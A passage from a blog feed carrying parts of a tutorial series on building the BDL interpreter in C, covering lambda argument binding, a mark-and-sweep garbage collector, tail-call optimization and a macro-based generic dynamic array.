                    <p>There is probably a better way of doing this
                    process, but this seems to be doing the trick for
                    now. Just bear in mind that recursive calls to
                    lambda will keep creating new environments, so this
                    is something we want to address when we work on
                    TCO.</p>
                    <p>The next part binds the arguments to the formal
                    parameters and checks if we have too many or not
                    enough arguments.</p>
                    <pre><code>        while (params != obj_nil) {
            if (args == obj_nil) {
                error_push((Error){
                    .type = ERR_TYPE_RUNTIME,
                    .value = ERR_NOT_ENOUGH_ARGS,
                });
                return obj_err;
            }
            Object *symbol = params-&gt;car;
            Object *value = eval(env, args-&gt;car);
            if (value == obj_err) {
                return obj_err;
            }
            if (value == obj_nil) {
                error_push((Error){
                    .type = ERR_TYPE_RUNTIME,
                    .value = ERR_NOT_ENOUGH_ARGS,
                });
                return obj_err;
            }
            env_add_or_update_current(env, symbol, value);
            args = args-&gt;cdr;
            params = params-&gt;cdr;
        }
        if (args != obj_nil) {
            error_push((Error){
                .type = ERR_TYPE_RUNTIME,
                .value = ERR_TOO_MANY_ARGS,
            });
            return obj_err;
        }</code></pre>
                    <p>Finally we switch the execution to the body of
                    the lambda and return the result of evaluating the
                    last expression.</p>
                    <pre><code>        root = fun-&gt;body;
        while (root-&gt;cdr != obj_nil) {
            if (eval(env, root-&gt;car) == obj_err) {
                return obj_err;
            };
            root = root-&gt;cdr;
        }
        return eval(env, root-&gt;car);</code></pre>
                    <h2 id="conclusion">Conclusion</h2>
                    <p>That is it for today! I’ve spent quite a lot of
                    time trying to make closures work as I wanted, but
                    I’m happy how things turned out. As usual check <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.5">v0.5</a>
                    for the current version of the code. I’ve also added
                    a new bunch of tests and expected results, and so
                    running <code>make tests</code> should return
                    successfully.</p>
                    <p>Our language is now Turing complete and it could
                    start being useful. One big problem however, is that
                    we are generating a lot of memory leaks, so the next
                    area to focus on is to <a
                    href="/posts/building-bdl-part-5">build a garbage
                    collector</a>. See you soon!</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>ARTICLE // BDL: Part 5 (Garbage collection and
tail-call optimizations)</title>
            <link href="https://badd10de.dev//posts/building-bdl-part-5"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//posts/building-bdl-part-5</id>
            <updated>2026-06-16T09:49:09Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="introduction">Introduction</h2>
                    <p>In <a href="/posts/building-bdl-part-4">the
                    previous article</a> we implemented lambdas and
                    closures. Now it’s time to collect the garbage, it’s
                    a messy job but someone has to do it. I don’t have
                    much experience writing garbage collectors (GCs),
                    but for what I could gather a mark-and-sweep
                    implementation is a simple way of get one off the
                    ground. These types of GCs could also be tuned to
                    potentially be used in different contexts, but
                    before thinking about that we actually need to have
                    a working implementation.</p>
                    <p>A mark-and-sweep method is very simple: on the
                    “mark” phase, traverse all the objects linked from
                    the root nodes. On the sweep phase all the objects
                    that haven’t been marked can be reclaimed for
                    further use. Normally there is a concept of a “free
                    list” that tell us which nodes are available for
                    further allocations. In our case we also would like
                    to mark “environments” that are still in use, so
                    that we can also reclaim them. For this
                    implementation I’m going to start from the basic
                    algorithmic idea and work on my own implementation.
                    We will try to go one step at a time, like
                    usual.</p>
                    <h2 id="the-garbage-collector">The garbage
                    collector</h2>
                    <h3 id="allocating-objects">Allocating objects</h3>
                    <p>For objects, we will allocate a small heap as an
                    array as well as a free-list of the same size. When
                    we call the allocator function we follow this
                    process:</p>
                    <ol type="1">
                    <li>Check on the free-list if there are any slots
                    available.</li>
                    <li>If the list is full, trigger the GC
                    algorithm.</li>
                    <li>If the list is still full after that, grow the
                    object and free-list heaps.</li>
                    <li>Return the object in the next available
                    slot.</li>
                    </ol>
                    <p>Simple enough! Another candidate for using
                    dynamic arrays. Our free list looks like this:</p>
                    <pre><code>typedef struct FreeList {
    size_t *buf;
    size_t size;
    size_t cap;
    size_t position;
} FreeList;</code></pre>
                    <p>The capacity of the FreeList will match the heap
                    size for Objects. We will use the same free-list
                    strategy for managing new <code>Environments</code>,
                    since their memory also needs to be tracked. Before
                    we continue with the implementation details, we need
                    to briefly discuss…</p>
                    <h3 id="the-mark-and-sweep-algorithm">The mark and
                    sweep algorithm</h3>
                    <p>One of the oldest and simplest garbage collection
                    algorithms. We add a new boolean field to our
                    objects and environments. Later we can encode this
                    in a more efficient way (for example a singe bit in
                    the type field), but we are not there yet.</p>
                    <pre><code>typedef struct Object {
    ObjectType type;
    bool marked;
    union {
        // OBJ_TYPE_FIXNUM
        ssize_t fixnum;

        // OBJ_TYPE_STRING
        struct {
...

typedef struct Environment {
    struct Environment *parent;
    EnvEntry *buf;
    size_t size;
    size_t cap;
    bool marked;
} Environment;</code></pre>
                    <p>The marking phase consists on traversing Objects
                    and Environment nodes to test for “reachability”.
                    The concept is pretty simple, but there are some
                    problematic implications. The first question is
                    “where do we start the traversal?”. We could use the
                    global environment as a starting point but the fact
                    we have “closures” means any environment could
                    contain some state. We also need a way of protecting
                    nodes that haven’t yet had the opportunity to be
                    stored as a variable, for example, in the
                    <code>proc_list</code> function:</p>
                    <pre><code>Object *
proc_list(Environment *env, Object *obj) {
    if (obj == obj_nil) {
        return obj_nil;
    }
    Object *head = make_pair(eval(env, obj-&gt;car), obj_nil);
    Object *curr = head;
    obj = obj-&gt;cdr;
    while (obj != obj_nil) {
        curr-&gt;cdr = make_pair(eval(env, obj-&gt;car), obj_nil);
        curr = curr-&gt;cdr;
        obj = obj-&gt;cdr;
    }
    return head;
}</code></pre>
                    <p>What happens if the object allocation inside the
                    while loop triggers the garbage collector? The
                    <code>head</code> object is not in an environment so
                    it may potentially be overwritten! To address this
                    issue, we create a stack of Object pointers that we
                    can use to protect nodes. We call these the root
                    nodes. Root nodes are, in addition to environments,
                    starting points for the mark and sweep
                    algorithm.</p>
                    <pre><code>typedef struct RootNodes {
    Object **buf;
    size_t size;
    size_t cap;
} RootNodes;

void
push_root(Object *obj) {
    if (gc.roots.size == gc.roots.cap) {
        gc.roots.cap *= 2;
        gc.roots.buf = realloc(gc.roots.buf, gc.roots.cap * sizeof(Object *));
    }
    gc.roots.buf[gc.roots.size++] = obj;
}

Object *
pop_root(void) {
    return gc.roots.buf[gc.roots.size--];
}</code></pre>
                    <p>We do the same thing to denote active
                    environments that we want to protect.</p>
                    <pre><code>typedef struct ActiveEnvs {
    Environment **buf;
    size_t size;
    size_t cap;
} ActiveEnvs;

void
push_active_env(Environment *env) {
    if (gc.active_envs.size == gc.active_envs.cap) {
        gc.active_envs.cap *= 2;
        gc.active_envs.buf = realloc(gc.active_envs.buf,
                gc.active_envs.cap * sizeof(Environment *));
    }
    gc.active_envs.buf[gc.active_envs.size++] = env;
}

Environment *
pop_active_env(void) {
    return gc.active_envs.buf[gc.active_envs.size--];
}</code></pre>
                    <p>You can already see that we have a lot of dynamic
                    arrays in our data and all the operations look very
                    similar. It may be time to introduce a dedicated
                    data structure to simplify our code, but that will
                    have to wait until later. We have now all the
                    necessary parts to build our memory manager:</p>
                    <pre><code>typedef struct GC {
    RootNodes roots;
    Environments envs;
    Object *objects;
    size_t obj_cap;
    FreeList free_objects;
    FreeList free_envs;
    ActiveEnvs active_envs;
} GC;

#define GC_OBJS_CAP  1024 * 1024
#define GC_ROOTS_CAP 1024
#define GC_ACTIVE_ENVS_CAP 2
#define GC_ENVS_CAP  1024 * 4

void
init_gc(void) {
    gc = (GC){
        .objects = malloc(GC_OBJS_CAP * sizeof(Object)),
        .obj_cap = GC_OBJS_CAP,
        .envs = (Environments){
            .buf = malloc(GC_ENVS_CAP * sizeof(Environment)),
            .size = 0,
            .cap = GC_ENVS_CAP,
        },
        .roots = (RootNodes){
            .buf = malloc(GC_ROOTS_CAP * sizeof(Object*)),
            .size = 0,
            .cap = GC_ROOTS_CAP,
        },
        .free_objects = (FreeList){
            .buf = malloc(GC_OBJS_CAP * sizeof(size_t)),
            .size = GC_OBJS_CAP,
            .cap = GC_OBJS_CAP,
        },
        .free_envs = (FreeList){
            .buf = malloc(GC_ENVS_CAP * sizeof(size_t)),
            .size = GC_ENVS_CAP,
            .cap = GC_ENVS_CAP,
        },
        .active_envs = (ActiveEnvs){
            .buf = malloc(GC_ACTIVE_ENVS_CAP * sizeof(Environment*)),
            .size = 0,
            .cap = GC_ACTIVE_ENVS_CAP,
        },
    };

    // The free list stores the offset from the initial position for all
    // available slots.
    for (size_t i = 0; i &lt; GC_OBJS_CAP; i++) {
        gc.free_objects.buf[i] = i;
    }
    for (size_t i = 0; i &lt; GC_ENVS_CAP; i++) {
        gc.free_envs.buf[i] = i;
    }
}</code></pre>
                    <p>The initialization function will be called from
                    <code>main</code> at the start, and just sets up the
                    initial heap allocations and points the free lists
                    to every available slot.</p>
                    <h4 id="implementation">Implementation</h4>
                    <p>As previously mentioned, marking nodes and
                    environments is pretty straightforward. Only the
                    PAIR and LAMBDA types need to be treated
                    specially:</p>
                    <pre><code>void
mark_environment(Environment *env) {
    if (env == NULL || env-&gt;marked) {
        return;
    }
    env-&gt;marked = true;
    for (size_t i = 0; i &lt; env-&gt;size; i++) {
        EnvEntry *entry = &amp;env-&gt;buf[i];
        mark_obj(entry-&gt;symbol);
        mark_obj(entry-&gt;value);
    }
}

void
mark_obj(Object *obj) {
    if (obj-&gt;marked) {
        return;
    }
    obj-&gt;marked = true;
    if (obj-&gt;type == OBJ_TYPE_PAIR) {
        mark_obj(obj-&gt;car);
        mark_obj(obj-&gt;cdr);
    }
    if (obj-&gt;type == OBJ_TYPE_LAMBDA) {
        mark_obj(obj-&gt;params);
        mark_obj(obj-&gt;body);
        mark_environment(obj-&gt;env);
    }
}

void
mark_and_sweep(void) {
    // Mark.
    for (size_t i = 0; i &lt; gc.active_envs.size; i++) {
        mark_environment(gc.active_envs.buf[i]);
    }
    for (size_t i = 0; i &lt; gc.roots.size; i++) {
        mark_obj(gc.roots.buf[i]);
    }
...</code></pre>
                    <p>The sweeping phase is tasked with cleaning the
                    memory of unmarked objects and environments and
                    recreating the free lists:</p>
                    <pre><code>    // Reset the free list.
    gc.free_objects.position = 0;
    gc.free_objects.size = 0;
    gc.free_envs.position = 0;
    gc.free_envs.size = 0;

    // Sweep.
    for (size_t i = 0; i &lt; gc.obj_cap; i++) {
        Object *obj = &amp;gc.objects[i];
        if (!obj-&gt;marked) {
            // Free heap allocated memory for this object if needed.
            if (obj-&gt;type == OBJ_TYPE_SYMBOL) {
                free(obj-&gt;symbol);
                obj-&gt;symbol = NULL;
                obj-&gt;symbol_n = 0;
            } else if (obj-&gt;type == OBJ_TYPE_STRING) {
                free(obj-&gt;string);
                obj-&gt;string = NULL;
                obj-&gt;string_n = 0;
            }
            gc.free_objects.buf[gc.free_objects.size++] = i;
        }
        obj-&gt;marked = false;
    }
    for (size_t i = 0; i &lt; gc.envs.cap; i++) {
        Environment *env = &amp;gc.envs.buf[i];
        if (!env-&gt;marked) {
            if (env-&gt;buf != NULL) {
                free(env-&gt;buf);
                env-&gt;buf = NULL;
                env-&gt;size = 0;
                env-&gt;cap = 0;
            }
            gc.free_envs.buf[gc.free_envs.size++] = i;
        }
        env-&gt;marked = false;
    }</code></pre>
                    <p>As simple as it is, the biggest burden is to
                    check our entire code to ensure every time we
                    allocate we are protected against the GC removing
                    temporary objects. Even our parser is affected,
                    since after all, we are allocating memory there. To
                    avoid issues during the initial AST construction, we
                    ensure every possible return object in our parse
                    tree is initially marked as a root node:</p>
                    <pre><code>Object *
parse_list(Visitor *vs) {
    Token tok = peek_token(vs);
    if (tok.type == TOKEN_EOF) {
        return obj_err;
    }
    Object *root = make_pair(obj_nil, obj_nil);
    push_root(root);
    Object *next_obj = parse_tree(vs);
    if (next_obj == obj_err) {
    ...

Object *
parse_fixnum(Token tok) {
    ssize_t num = 0;
    int sign = 1;
    for (size_t i = 0; i &lt; tok.value.n; i++) {
        char c = tok.value.start[i];
        if (c == &#39;-&#39;) {
            sign = -1;
            continue;
        }
        num = num * 10 + (c - &#39;0&#39;);
    }

    Object *obj = make_fixnum(num * sign);
    push_root(obj);
    return obj;
}
...</code></pre>
                    <p>Once we have an expression tree, we can restore
                    the previous stack and push just the root node to
                    the protected list, and we must also not forget to
                    release the AST once we are done with it with
                    <code>pop_root()</code>:</p>
                    <pre><code>        size_t root_stack_size = gc.roots.size;
        Object *root = parse_tree(&amp;visitor);
        gc.roots.size = root_stack_size;
        if (root == obj_err || errors_n != 0) {
            break;
        }
        push_root(root);

        Object *result = eval(global_env, root);
        if (result != obj_nil) {
            display(result);
            printf(&quot;\n&quot;);
        }
        pop_root();</code></pre>
                    <p>Just to be sure, in our initialization function
                    we also protect our singleton objects:</p>
                    <pre><code>void
init(void) {
    // Initialize garbage collector.
    init_gc();

    // Initialize singletons.
    obj_nil = alloc_object(OBJ_TYPE_NIL);
    obj_true = alloc_object(OBJ_TYPE_BOOL);
    obj_false = alloc_object(OBJ_TYPE_BOOL);
    obj_err = alloc_object(OBJ_TYPE_ERR);
    obj_quote = make_symbol((StringView){&quot;quote&quot;, 5});
    push_root(obj_nil);
    push_root(obj_true);
    push_root(obj_false);
    push_root(obj_err);
    push_root(obj_quote);
...</code></pre>
                    <p>Luckily we don’t allocate objects in many of our
                    primitive functions, and so we only need to pay
                    attention to <code>proc_list</code> and
                    <code>proc_cons</code> for now. However, there is a
                    big problem with our garbage collector right
                    now.</p>
                    <h3 id="the-elephant-in-the-room">The elephant in
                    the room</h3>
                    <p>I mentioned at the beginning that if the free
                    lists are full, we need to allocate more memory and
                    move our data there. The issue is that we are using
                    pointers all over our data for environments and
                    objects, and if we realloc our memory it is likely
                    our pointers will be invalidated. As an example,
                    think of this snippet:</p>
                    <pre><code>Object *
proc_equal(Environment *env, Object *obj) {
    Object *a = eval(env, obj-&gt;car);
    Object *b = eval(env, obj-&gt;cdr-&gt;car);
    return obj_eq(a, b) ? obj_true : obj_false;
}</code></pre>
                    <p>Anything that depends on evaluation may trigger
                    allocations, and thus the GC can kick it. So if the
                    first evaluation returns a valid <code>a</code>
                    object pointer, but the second evaluation triggers
                    the GC and the table has to grow, the first pointer
                    will be invalidated. Nothing may happen at first,
                    and things may work normal, since technically the
                    data is still there, but the memory to which
                    <code>a</code> was pointing is no longer valid! This
                    can lead to nasty bugs hidden in our code and/or
                    random crashes.</p>
                    <p>We could address the problem by not using
                    pointers, for example, eval could return an offset
                    to the objects array, which in turn we can transform
                    into a concrete type or to modify the memory
                    atomically. This, however requires significant
                    refactoring so our current solution is to allocate
                    heaps that we consider “big enough” for now (~1MB
                    for objects and 4K for environments) and just crash
                    with and out of memory error if we find ourselves
                    without memory:</p>
                    <pre><code>Object *
alloc_object(ObjectType type) {
    if (gc.free_objects.size == 0) {
        mark_and_sweep();
        if (gc.free_objects.size == 0) {
            fprintf(stderr, &quot;NO MORE OBJ MEMORY AVAILABLE WHERE IS YOUR GOD NOW MWAHAHA\n&quot;);
            dump_gc();
            exit(EXIT_FAILURE);
            // TODO: grow heap tables.
        }
    }
    size_t slot = gc.free_objects.buf[gc.free_objects.position++];
    gc.free_objects.size--;
    Object *obj = get_obj(slot);
    obj-&gt;type = type;
    obj-&gt;marked = false;
    return obj;
}

Environment *
alloc_env(void) {
    if (gc.free_envs.size == 0) {
        mark_and_sweep();
        if (gc.free_envs.size == 0) {
            fprintf(stderr, &quot;NO MORE ENV MEMORY AVAILABLE WHERE IS YOUR GOD NOW MWAHAHA\n&quot;);
            dump_gc();
            exit(EXIT_FAILURE);
            // TODO: grow heap tables.
        }
    }
    size_t slot = gc.free_envs.buf[gc.free_envs.position++];
    gc.free_envs.size--;
    return &amp;gc.envs.buf[slot];
}</code></pre>
                    <p>If we start crashing, we can of course increase
                    the size of the alloted memory, but maybe we need to
                    think of a long term solution. Meanwhile, since we
                    have to touch the <code>eval</code> function, there
                    is one more topic we must go through.</p>
                    <h2
                    id="evaluations-and-tail-call-optimizations">Evaluations
                    and tail-call-optimizations</h2>
                    <p>We can’t avoid it any longer, we must talk about
                    tail-call-optimization (TCO). Our language, like
                    Scheme, is based on the usage of recursion to create
                    loops and iterative procedures. Because of that we
                    need to guarantee that our functions don’t blow up
                    the stack. For example, in the initial
                    implementation of lambda functions and closures, we
                    use the <code>env_extend</code> function to create a
                    new environment for E-V-E-R-Y S-I-N-G-L-E recurring
                    call. We don’t have the luxury of leaking memory or
                    thinking we have an infinite heap anymore.</p>
                    <p>The good news is that implementing TCOs is
                    actually pretty simple. We use a boolean tag
                    <code>recursion_active</code> to indicate that we
                    are in the middle of an iterative procedure.
                    Furthermore, when we create the new extended
                    environment, we also protect it from the GC:</p>
                    <pre><code>eval_lambda:
            args = root-&gt;cdr;
            Object *params = lambda-&gt;params;
            if (!recursion_active) {
                recursion_active = true;
                // Protect current stack.
                Environment *tmp = env_create(lambda-&gt;env);
                push_active_env(tmp);
                // Extend environment.
                env = env_extend(tmp, env);
            }
            while (params != obj_nil) {
                if (args == obj_nil) {
                    error_push((Error){
                        .type = ERR_TYPE_RUNTIME,
                        .value = ERR_NOT_ENOUGH_ARGS,
                    });
                    return obj_err;
                }
                Object *symbol = params-&gt;car;

            ...</code></pre>
                    <p>Not much else changes until the bottom part of
                    this case:</p>
                    <pre><code>            root = lambda-&gt;body;
            while (root-&gt;cdr != obj_nil) {
                if (eval(env, root-&gt;car) == obj_err) {
                    return obj_err;
                };
                root = root-&gt;cdr;
            }
            root = root-&gt;car;
            goto eval_start;</code></pre>
                    <p>Instead of finishing up with
                    <code>return eval(env, root-&gt;car);</code>, we
                    explicitly jump to the beginning of the evaluation
                    function. Note that sometimes, a C compiler may do
                    this optimization for you, but we absolutely need to
                    guarantee that the TCO happens. We can’t forget to
                    release the environment once we are done, so we
                    change all our return statements to point to the
                    <code>eval_success</code> label, which will perform
                    this cleanup:</p>
                    <pre><code>...
eval_success:
    if (recursion_active) {
        // Remove stack protector.
        pop_active_env();
    }
    return ret;</code></pre>
                    <p>There is one last piece of the puzzle. For now,
                    this will only work for infinite recursion types. We
                    also need to make the <code>if</code> procedure tail
                    recursive. We can start by just copying the function
                    into the appropriate area, and transform our
                    <code>proc_if</code> primitive procedure into a
                    singleton. After that, we can achieve TCO with:</p>
                    <pre><code>    if (val == proc_if) {
        Object *obj = root-&gt;cdr;
        if (obj == obj_nil || obj-&gt;cdr == obj_nil) {
            error_push((Error){
                .type = ERR_TYPE_RUNTIME,
                .value = ERR_NOT_ENOUGH_ARGS,
            });
            return obj_err;
        }
        Object *car = obj-&gt;car;
        Object *cdr = obj-&gt;cdr;
        Object *condition = eval(env, car);
        if (condition == obj_err) {
            return obj_err;
        }
        if (condition == obj_true) {
            root = cdr-&gt;car;
        } else if (cdr-&gt;cdr != obj_nil) {
            root = cdr-&gt;cdr-&gt;car;
        } else {
            return obj_nil;
        }
        goto eval_start;
    }</code></pre>
                    <p>Not too bad right? Don’t be afraid of the much
                    maligned <code>goto's</code>, if used judiciously
                    they can greatly help to avoid code repetition and
                    allow for some nifty tricks like this one here.
                    There are a couple of other minor changes here and
                    there, but that is pretty much all we need to
                    remark. Note that we may have to apply the same
                    treatment to other tail-recursive functions (for
                    example, <code>cond</code> or <code>let</code>), but
                    this hopefully sets the ground for those
                    additions.</p>
                    <h2 id="conclusion">Conclusion</h2>
                    <p>This was a big milestone in the project! Yes, we
                    still didn’t fully addressed some issues with the
                    garbage collector, but at least on <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.6">v0.6</a>
                    all the examples and tests run successfully, and we
                    are not leaking any memory (at least according to
                    <code>AdressSanitizer</code>, which I have used
                    extensively when trying to debug this code). The
                    Fibonacci function in the examples folder is
                    actually not fully TCO, but can be used to test if
                    the GC its doing its job. Here is a different tail
                    optimized function for testing purposes, just a long
                    loop, which hopefully should run to completion:</p>
                    <pre><code>(fun recur (n)
    (if (&lt;= n 1)
        &#39;ok
        (recur (- n 1))))

(recur 2000000)</code></pre>
                    <p>I can’t begin to tell you how many hours I wasted
                    trying to discover memory leaks due to some
                    uninitialized variable. Moving forward we should
                    still be cautious about memory, specially when it
                    comes to protecting root nodes. For <a
                    href="/posts/building-bdl-part-6">our next
                    trick</a>, we will probably be doing some
                    refactoring, code cleanup and maybe implementing a
                    data structure or two. See you around!</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>ARTICLE // BDL: Part 6 (Dynamic arrays and hash
tables)</title>
            <link href="https://badd10de.dev//posts/building-bdl-part-6"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//posts/building-bdl-part-6</id>
            <updated>2026-06-16T09:49:09Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="introduction">Introduction</h2>
                    <p>If you are following along, we <a
                    href="https://git.badd10de.dev/bdl/tag/?h=v0.6">just
                    finalized</a> a simple garbage collector for our
                    language. At this point we have a fully functional
                    language, so I decided to have some fun and
                    implement a (slow) version of the <a
                    href="https://en.wikipedia.org/wiki/Rule_110">rule
                    110</a> cellular automata:</p>
                    <pre><code>(def sequence (list 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1))

(fun print-line (seq)
    (if (or (nil? seq) (= 0 (car seq)))
        (print &quot;  &quot;)
        (print &quot;##&quot;))
    (if (not (nil? seq)) (print-line (cdr seq))))

(fun rule-110 (seq n)
    (fun new-generation (partial-seq)
        (def a (if (nil? partial-seq) 0 (car partial-seq)))
        (def b (if (or (nil? partial-seq)
                    (nil? (cdr partial-seq)))
                    0
                    (car (cdr partial-seq))))
        (def c (if (or (nil? partial-seq)
                    (nil? (cdr partial-seq))
                    (nil? (cdr (cdr partial-seq))))
                    0
                    (car (cdr (cdr partial-seq)))))
        (def number (+ (* a 2 2) (* b 2) c))
        (def cell (cond ((= number 0) 0)
                        ((= number 1) 1)
                        ((= number 2) 1)
                        ((= number 3) 1)
                        ((= number 4) 0)
                        ((= number 5) 1)
                        ((= number 6) 1)
                        ((= number 7) 0)))
        (if (nil? partial-seq)
            ()
            (cons cell (new-generation (cdr partial-seq)))))
    (print-line seq)
    (newline)
    (def seq (cons 0 (new-generation seq)))
    (if (= n 0)
        ()
        (rule-110 seq (- n 1))))</code></pre>
                    <p>This function should print something like
                    this:</p>
                    <pre><code>                                 ##
                               ####
                             ######
                           ####  ##
                         ##########
                       ####      ##
                     ######    ####
                   ####  ##  ######
                 ##############  ##
               ####          ######
             ######        ####  ##
           ####  ##      ##########
         ##########    ####      ##
       ####      ##  ######    ####
     ######    ########  ##  ######
   ####  ##  ####    ##########  ##</code></pre>
                    <p>During this implementation I realized that there
                    were a couple of bugs in our code. First of all, we
                    want to be able to pass the empty list
                    <code>nil</code> as an argument to functions. This
                    is a small change, but another issue appeared: When
                    we have nested functions, we can’t shadow the
                    parameter names or things don’t work properly. For
                    example:</p>
                    <pre><code>(fun rule-110 (seq n)
    (fun new-generation (seq)
...</code></pre>
                    <p>In this case, if we use <code>seq</code> as the
                    name for the <code>new-generation</code> parameter,
                    recursively calling
                    <code>(const (new-generation (cdr seq)))</code> will
                    not properly resolve the binding, using the
                    <code>seq</code> variable from the previous call. I
                    decided to not worry about this bug for now, but we
                    should be aware that this is an issue. Soon we will
                    start working on a second interpreter going from a
                    tree-walking interpreter to a bytecode one, so this
                    issue is probably better handled at that stage.</p>
                    <p>In preparation to that part I decided to clean
                    things up a little by adding header files for all C
                    files, since we have a number of circular references
                    and I don’t want to be forward declaring functions a
                    million times. I don’t have anything to say about
                    that, since it just consists on adding some
                    declarations and comments, and moving some things
                    around. Instead, today we are going to be working on
                    creating a couple of reusable data structures in C
                    that we can use to clean up the current interpreter
                    and in preparation for the future.</p>
                    <h2 id="a-generic-dynamic-array">A generic dynamic
                    array</h2>
                    <p>You are already familiar with these; growable
                    arrays that can we use for storing stacks, lists of
                    tokens, etc. We have a bunch of type specific
                    implementations scattered around, but I would like
                    to unify these to avoid duplicating the same
                    functions all over. First lets talk usage. I want an
                    ergonomic way of using this structure, as it is very
                    common. The easier it is to use, the more I will use
                    it when appropriate. Here is an example:</p>
                    <pre><code>#include &quot;darray.h&quot;

typedef struct Person {
    size_t age;
    size_t height;
} Person;

int main(void) {
    // Initialization.
    Person *person = NULL;
    array_init(person, 1);

    // Adding elements.
    Person p1 = {40, 180};
    Person p2 = {10, 130};
    Person p3 = {82, 176};
    array_push(person, p1);
    array_push(person, p2);
    array_push(person, p3);

    // Accessors.
    printf(&quot;size: %ld\n&quot;, array_size(person));
    printf(&quot;cap: %ld\n&quot;, array_cap(person));
    printf(&quot;p1: %ld %ld\n&quot;, person[0].age, person[0].height);
    printf(&quot;p2: %ld %ld\n&quot;, person[1].age, person[1].height);
    printf(&quot;p3: %ld %ld\n&quot;, person[2].age, person[2].height);

    // Pop.
    Person p4 = array_pop(person);
    printf(&quot;p4: %ld %ld\n&quot;, p4.age, p4.height);
    for (size_t i = 0; i &lt; array_size(person); i++) {
        printf(&quot;i: %ld age: %ld\n&quot;, i, person[i].age);
    }

    // Free memory.
    array_free(person);
    return 0;
}</code></pre>
                    <p>As you can see, we have an struct of an arbitrary
                    size. A pointer to that struct is initialized as
                    NULL and then we pass it to the
                    <code>array_init</code> function with the number of
                    initial elements we want to store. We call then add
                    any number of elements with <code>array_push</code>
                    and the array will grow as needed. We can access
                    individual array elements with the
                    <code>arr[i]</code> notation. The
                    <code>array_free</code> function is used to properly
                    release the memory, note that we can’t use
                    <code>free</code> for reasons we will discuss in the
                    implementation details. Finally we have
                    <code>array_pop</code> to use the structure as a
                    stack and some accessor functions
                    <code>array_size</code> and
                    <code>array_cap</code>.</p>
                    <p>There are a couple of ways of achieving this for
                    example we could have an array type that contains
                    size/capacity the type size and an array of bytes
                    like so:</p>
                    <pre><code>typedef struct Array {
    size_t size;
    size_t cap;
    size_t type_size;
    char *bytes;
} Array;</code></pre>
                    <p>But this would make it so that all our array
                    types have to be described in that manner so instead
                    of:</p>
                    <pre><code>typedef struct Thing {
    Array foo;
    Array bar;
    Array baz;
} Thing;</code></pre>
                    <p>I prefer to have something like this, since it
                    gives you some more information at first glance:</p>
                    <pre><code>typedef struct Thing {
    size_t *foo;
    bytes *bar;
    OtherThing *baz;
} Thing;</code></pre>
                    <p>A small trick can be used to get a better API. We
                    can embed the size and capacity at the beginning of
                    an array, and then point the data immediately after
                    that:</p>
                    <pre><code>bytes
|0|1|2|3|4|5|6|7|8|9|a|b|c|d|e|f| | | | | | | | | | | | | |
 ^size           ^capacity       ^data-pointer</code></pre>
                    <p>We need to be careful and make sure our data is
                    properly memory aligned, and when freeing the data,
                    we need to free the memory since the beginning (the
                    size pointer), not from the data pointer. We start
                    by defining the array header and some macros to
                    access the fields of an array according to this
                    method:</p>
                    <pre><code>typedef struct ArrayHeader {
    size_t size;
    size_t cap;
} ArrayHeader;

#define array_head(ARR) ((ArrayHeader *)((char *)(ARR) - sizeof(ArrayHeader)))
#define array_size(ARR) ((ARR) ? array_head(ARR)-&gt;size : 0)
#define array_cap(ARR)  ((ARR) ? array_head(ARR)-&gt;cap : 0)</code></pre>
                    <p>Pretty self explanatory. Lets add some more
                    macros for the rest of the interface functions:</p>
                    <pre><code>#define array_init(ARR,N)  ((ARR) = _array_reserve(N, sizeof(*(ARR))))
#define array_push(ARR, T) \
    ((ARR) = _array_maybe_grow(ARR, sizeof(T)), \
     (ARR)[array_head(ARR)-&gt;size++] = (T))
#define array_pop(ARR)   (ARR)[--array_head(ARR)-&gt;size]
#define array_free(ARR) ((ARR) ? free(array_head(ARR)), (ARR) = NULL : 0)</code></pre>
                    <p>This can be a bit confusing to read but hopefully
                    is clear enough. The key is avoiding passing
                    <code>sizeof(T)</code> at every call site, since
                    that can get quite tedious, so these macros help us
                    having a cleaner interface. The only thing left is
                    to add the initialization function and the
                    <code>_array_maybe_grow</code> which will grow the
                    array if needed, otherwise it will leave it
                    alone.</p>
                    <pre><code>static inline void *
_array_reserve(size_t num_elem, size_t type_size) {
    char *p = malloc(num_elem * type_size + sizeof(ArrayHeader));
    p += sizeof(ArrayHeader);
    array_head(p)-&gt;size = 0;
    array_head(p)-&gt;cap = num_elem;
    return p;
}

static inline void *
_array_maybe_grow(void *arr, size_t type_size) {
    ArrayHeader *head = array_head(arr);
    if (head-&gt;cap == head-&gt;size) {
        if (head-&gt;cap == 0) {
            head-&gt;cap++;
        } else {
            head-&gt;cap *= 2;
        }
        head = realloc(head, head-&gt;cap * type_size + sizeof(ArrayHeader));
    }
    arr = (char *)head + sizeof(ArrayHeader);
    return arr;
}</code></pre>
                    <p>We are also going to add a way of inserting an
                    arbitrary number of bytes to a dynamic array. This
                    is helpful for strings, for example:</p>
                    <pre><code>#define array_insert(ARR, SRC, N) \
    ((ARR) = _array_insert(ARR, SRC, N, sizeof(*(ARR))))

static inline
char * _array_insert(char *arr, const char *src, size_t n_bytes, size_t type_size) {
    ArrayHeader *head = array_head(arr);
    size_t new_size = n_bytes + head-&gt;size;
    if (new_size &gt;= head-&gt;cap * type_size) {
        if (head-&gt;cap == 0) {
            head-&gt;cap = 1;
        }
        while (new_size &gt;= head-&gt;cap * type_size) {
            head-&gt;cap *= 2;
        }
        head = realloc(head, head-&gt;cap * type_size + sizeof(ArrayHeader));
    }
    arr = (char *)head + sizeof(ArrayHeader);
    memcpy((arr + head-&gt;size), src, n_bytes);
    head-&gt;size = new_size;
    return arr;
}</code></pre>
                    <p>And that is all! This shouldn’t look much more
                    different that what you are used to seeing thus far.
                    We can add this file to the project and do a small
                    refactor to remove redundant things. For
                    example:</p>
                    <pre><code>if (env-&gt;buf == NULL) {
    env-&gt;size = 0;
    env-&gt;cap = ENV_BUF_CAP;
    env-&gt;buf = malloc(env-&gt;cap * sizeof(EnvEntry));
} else if (env-&gt;size == env-&gt;cap) {
    env-&gt;cap *= 2;
